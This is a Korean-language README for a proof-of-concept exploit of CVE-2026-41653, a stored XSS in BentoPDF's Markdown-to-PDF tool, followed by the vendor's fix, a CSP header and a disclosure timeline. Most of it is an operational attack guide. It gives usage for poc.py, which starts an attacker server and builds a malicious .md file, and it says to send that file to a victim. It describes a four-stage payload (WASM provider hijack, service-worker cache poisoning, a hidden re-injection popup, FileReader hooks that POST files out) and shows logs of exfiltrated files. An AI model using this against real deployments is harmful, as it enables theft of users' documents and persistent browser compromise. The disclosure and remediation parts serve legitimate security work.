
CVE-2026-41653에 대한 개념 증명 익스플로잇으로, BentoPDF의 저장형 XSS 취약점을 이용해 무단 파일 유출과 WASM 공급망 하이재킹을 가능하게 합니다.
발견 및 보고자: Astaruf
전체 분석 문서: https://nstsec.com/en/posts/bentopdf-xss-cve-2026-41653/
상위 권고: alam00000/bentopdf GHSA 권고
NVD 항목: https://nvd.nist.gov/vuln/detail/CVE-2026-41653
BentoPDF는 자체 호스팅 방식의 브라우저 기반 PDF 도구 모음입니다(압축, 병합, 분할, 회전, 변환, Markdown-to-PDF 등).
Markdown-to-PDF 도구는 사용자가 제공한 Markdown을 옵션으로 에 전달하고, 렌더링된 출력을 소독(sanitization) 없이 을 통해 DOM에 직접 주입합니다. 공격자가 조작된 파일을 전달하면 BentoPDF 오리진에서 임의의 JavaScript를 실행할 수 있습니다.
html: truemarkdown-itinnerHTML.mdBentoPDF는 완전한 클라이언트 사이드 애플리케이션이므로 모든 도구(Compress PDF, Merge PDF, Split PDF 등)가 피해자의 브라우저에서 직접 파일을 로드하고 처리합니다. 따라서 단 한 번의 XSS만으로도 세션 중 피해자가 어떤 도구에서든 열어본 모든 문서를 조용히 유출할 수 있습니다.
공격자가 report.md 전송 ( 포함)
-> 피해자가 Markdown-to-PDF에서 열람
-> markdown-it이 원시 HTML 렌더링 (html: true)
-> preview.innerHTML = html (DOMPurify 없음)
-> 공격자 서버에서 poc_payload.js 로드 (CSP 없음)
-> FileReader + <input type=file> 후크 전역 설치
-> 숨겨진 팝업이 모든 도구 이동 시 후크 재주입
-> 피해자가 여는 모든 파일이 조용히 유출됨
localStorage['bentopdf:wasm-providers']를 덮어써서 PyMuPDF, Ghostscript, cpdf WASM 모듈 다운로드를 공격자가 제어하는 호스트로 리다이렉트합니다.window.opener를 폴링하여 피해자가 다른 도구로 이동할 때마다 파일 후크를 재주입하여 전체 세션 동안 접근 권한을 유지합니다.bentopdf-* 캐시를 오염시켜 현재 세션 이후에도 브라우저에 제공되는 모든 /assets/*.js 파일에 유출 후크를 추가합니다.markdown-it의 원시 HTML 통과 (CWE-79)src/js/utils/markdown-editor.ts (271–272행):
private mdOptions: MarkdownItOptions = {
html: true, // 원시 HTML 태그가 마크다운 파서를 통과함
breaks: false,
linkify: true,
typographer: true,
};
``, <svg>, <details> 같은 태그와 모든 이벤트 핸들러 속성(onerror, onload, ontoggle)이 그대로 DOM에 전달됩니다.
innerHTML 주입 (CWE-116)src/js/utils/markdown-editor.ts (689–694행):
private updatePreview(): void {
if (!this.editor || !this.preview) return;
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = html; // 공격자가 제어하는 HTML이 DOM에 주입됨
this.renderMermaidDiagrams();
}
markdown-it과 innerHTML 사이에 소독 라이브러리가 적용되지 않습니다. 브라우저는 주입된 문자열을 파싱하고 인라인 이벤트 핸들러를 만나 즉시 실행합니다.
nginx.conf에는 Content-Security-Policy 헤더가 포함되어 있지 않습니다. 주입된 JavaScript는 외부 스크립트를 자유롭게 로드하고, 모든 호스트에 fetch() 요청을 보내며, 팝업 창을 열 수 있습니다. 제한적인 CSP가 있었다면 싱크(sink)가 그대로 있더라도 외부 스크립트 로드 단계를 차단할 수 있었습니다.
# 유출을 위한 공격자 서버 시작
python3 poc.py --lhost <YOUR_IP> --lport 9999
# poc.py는 다음을 수행합니다:
# - 현재 디렉토리에 poc_report.md 페이로드 생성
# - 피해자의 콜백 및 유출 파일 수신 대기
poc_report.md를 피해자에게 보내고 BentoPDF → Markdown-to-PDF에서 열도록 요청하세요. 페이로드는 미리보기가 렌더링되는 순간 실행되며, 피해자가 이후 업로드하는 모든 파일이 공격자의 서버로 유출됩니다.
| 옵션 | 기본값 | 설명 |
|---|---|---|
--lhost | 필수 | 피해자 브라우저에서 접근 가능한 IP |
--lport | 9999 | 수신 포트 |
--loot-dir | ./loot/ | 유출된 파일이 저장되는 디렉토리 |
--log-file | 없음 | 모든 이벤트를 파일에 기록 (ANSI 코드 제거됨) |
--no-color | 꺼짐 | 터미널 출력에서 ANSI 색상 비활성화 |
1. --lhost와 --lport로 공격자 서버 시작. 악성 poc_report.md가 자동 생성됩니다.
$ python3 poc.py --lhost 127.0.0.1 --lport 9999
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██╗ ██████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ███║ ██╔════╝ ██╔════╝ ╚════██╗
██║ ██║ ██║█████╗ -2026- ███████║ ╚██║ ███████╗ ███████╗ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██║ ██╔══██║ ╚════██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ██║ ██║ ╚██████║ ███████║ ██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝
BentoPDF <= 2.8.1 - Markdown-to-PDF 저장형 XSS -> 파일 유출
PoC by Astaruf (https://nstsec.com)
========================================================================
유출 서버: http://127.0.0.1:9999
페이로드: http://127.0.0.1:9999/poc_payload.js
Loot 디렉토리: /home/kali/loot
========================================================================
악성 .md 파일 준비 완료: /home/kali/poc_report.md
피해자에게 보내고 Markdown-to-PDF 도구에서 열도록 요청하세요.
페이로드는 미리보기가 렌더링되는 즉시 실행됩니다.
========================================================================
피해자 대기 중...
2. 피해자가 BentoPDF에서 Markdown-to-PDF 도구를 엽니다.

3. 피해자가 poc_report.md를 로드합니다. 미리보기가 렌더링되고 ``가 로드에 실패하여 onerror가 실행됩니다. poc_payload.js가 CSP 차단 없이 공격자 서버에서 가져와집니다.

4. 페이로드가 4단계를 실행합니다: localStorage를 통한 WASM 공급자 하이재킹, 팝업 모니터 생성, 현재 페이지에 FileReader 및 파일 입력 후크 설치.

5. 피해자가 Compress PDF로 이동합니다. 팝업이 이동을 감지하고 새 페이지에 후크를 재주입합니다.

6. 피해자가 PDF를 로드합니다. 도구는 정상적으로 압축을 수행합니다. 파일 바이트는 이미 공격자 서버로 POST 전송되었습니다.

7. 검증된 실행에서의 공격자 서버 출력:
[17:11:11] WASM HIJACK { stage: 'wasm_hijack', victim: '.../markdown-to-pdf.html' }
[17:11:12] BEACON { page: '.../markdown-to-pdf.html' }
[17:11:55] BEACON { page: '.../index.html' }
[17:12:00] BEACON { page: '.../compress-pdf.html' }
[17:12:01] FILE EXFILTRATED Lorem_ipsum.pdf (23.7 KB) -> loot/171201_Lorem_ipsum.pdf
[17:13:57] BEACON { page: '.../merge-pdf.html' }
[17:13:58] FILE EXFILTRATED Lorem_ipsum.pdf (23.7 KB) -> loot/171358_Lorem_ipsum.pdf

8. 유출된 파일은 원본과 동일한 완전하고 유효한 PDF로 열립니다.

poc.py에 포함된 페이로드는 순서대로 4단계를 실행합니다:
| 단계 | 수행 내용 | 지속 범위 |
|---|---|---|
| 1 | localStorage['bentopdf:wasm-providers']를 덮어써 모든 WASM 모듈 다운로드를 공격자로 리다이렉트 | 브라우저 세션 간 |
| 2 | /sw.js를 등록하고 모든 도구 페이지의 /assets/*.js를 열거하여 bentopdf-* Service Worker 캐시를 유출 후크로 오염 | 브라우저 세션 이후 (HTTPS 전용) |
| 3 | window.opener.location.href를 폴링하는 숨겨진 1×1 팝업을 생성하여 모든 도구 이동 후 파일 후크를 재주입 | BentoPDF 탭이 열려 있는 동안 |
| 4 | FileReader.prototype.readAsArrayBuffer와 문서 레벨 change 리스너를 후킹: 피해자가 접촉하는 모든 파일이 공격자 서버 /file?name=<filename>로 POST 전송 | 현재 페이지 |
BentoPDF v2.8.3에서 배포되었습니다. 개발자는 원래 보고된 싱크(sink)를 넘어 코드베이스를 감사하고 여러 관련 벡터를 해결했습니다:
markdown-editor.ts의 세 곳의 innerHTML 싱크에 모두 적용되었습니다. 여기에는 securityLevel: 'loose'를 사용하여 첫 번째 소독기를 우회하는 것으로 발견된 Mermaid SVG 경로도 포함됩니다.securityLevel: 'strict'로 실행되며 SVG 출력은 DOMPurify의 SVG 프로필로 재소독됩니다.file.name XSS가 약 8개 도구 페이지(Deskew, Form Filler, Remove Annotations 등)에서 이스케이프 처리되었습니다. 이전에는 파일 이름이 소독 없이 HTML에 연결되었습니다.localStorage['bentopdf:wasm-providers']의 신뢰할 수 없는 URL은 로드 시 삭제됩니다.nginx.conf에 적용되었으며 Content-Security-Policy가 포함됩니다.원래 보고된 싱크에 대한 최소 수정:
import DOMPurify from 'dompurify';
private updatePreview(): void {
if (!this.editor || !this.preview) return;
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = DOMPurify.sanitize(html);
}
nginx.conf에 추가된 CSP 헤더:
add_header Content-Security-Policy "default-src 'self'; script-src 'self' blob:; connect-src 'self' https://cdn.jsdelivr.net; object-src 'none';" always;
| 날짜 | 이벤트 |
|---|---|
| 2026-04-02 | 취약점 발견 |
| 2026-04-02 | 유지보수자에게 비공개 보고 |
| 2026-04-17 | 유지보수자가 확인 |
| 2026-04-17 | edge 빌드에 수정 적용 및 재테스트 |
| 2026-04-18 | v2.8.3 공개 크레딧과 함께 릴리스 |
| 2026-04-21 | GHSA 권고 게시 |
| 2026-04-22 | CVE-2026-41653 지정 |
본 자료는 공인된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유하거나 명시적 서면 테스트 허가를 받은 BentoPDF 인스턴스에만 사용하세요. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 오용에 대해 어떠한 책임도 지지 않습니다.